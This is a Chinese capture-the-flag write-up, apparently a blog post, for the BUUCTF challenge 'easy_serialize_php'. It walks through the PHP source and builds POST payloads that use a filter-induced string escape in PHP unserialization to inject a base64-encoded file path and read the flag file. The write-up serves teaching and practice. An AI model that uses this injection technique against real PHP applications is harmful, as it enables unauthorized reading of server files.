BUUCTF [安洵杯 2019]easy_serialize_php

 

 这道题题目说easy但是对我来说极其不友好!看了很多wp讲的模棱两可,我尽量来说清楚点 

代码解析:

这里$function = @$_GET['f'],是我们通过get方式传递的,因为注释提示有东西先传f=phpinfo看看

找到了一个东西,很像存放flag的(出题人一般都会把flag文件名改的很怪),这里可以和代码末联系起来,利用file_get_contents从d0g3_f1ag.php读取flag

POST提交SESSION全局变量要按这样的格式

_SESSION[img]=

用$_SESSION在php里面代表全局变量,这里post传递不需要

接下来就得想办法在session里面传递img变量为上面获取到的文件名来读取了

下面是相关代码:

extract($_POST);

$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img'])); }

d0g3_f1ag.php的base64编码为ZDBnM19mMWFnLnBocA==

如果我们直接设置$_SESSION['img'] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

会被$_SESSION['img'] = base64_encode('guest_img.png')这句代码进行变量覆盖,因为键名相同

在PHP中,反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容也就自然读取不到,从而添加我们想要反序列化的数据。

php反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,如果出现这种情况s:10:"flag",键名长度为4,但规定长度为10,就会造成字符串逃逸向后读取,这里是我们解题的关键

构造payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面代码中先进行序列化操作,原本的序列化数据应该为

a:2:{s:10:"imgphpflag";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

a代表数组,和o代表对象一样,2是个数

然而因为filter函数的过滤,将php和flag过滤掉,因为指定的键名长度为10,产生了字符串逃逸,我们在后面随便添加几个垃圾字符让它往后读取形成一个新的键名,形成一个键值对,如下所示是payload过滤加上字符串逃逸后形成的序列化数据


a:2:{s:10:"img"aaaaaa";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在这串序列化数据中img只有三位,通过我们构造向后读取7位("aaaaaa)满足10位后遇到双引号闭合,img"aaaaaa作为键

我们设定的这个session中的变量键名原本为imgphpflag,序列化操作是在给session全局变量中img赋值操作之后,两个键名不会产生冲突覆盖。而且这里并没有通过post方式提交数据也就不会调用extract($_POST)将Session中的所有覆盖掉,

这个变量中经过我们构造在最后反序列化之后里面的内容是两个关联数组,其中一个经过解码后正是d0g3_f1ag.php,可以被file_get_contents函数读取出来

所以先使用payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

读取phpinfo中得到的文件,发现是flag文件路径

再将路径base64编码放入payload即可,payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

别忘了把/带上编码

写的我自己脑子都有点乱乱的,有问题评论或者私我

  • 25
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值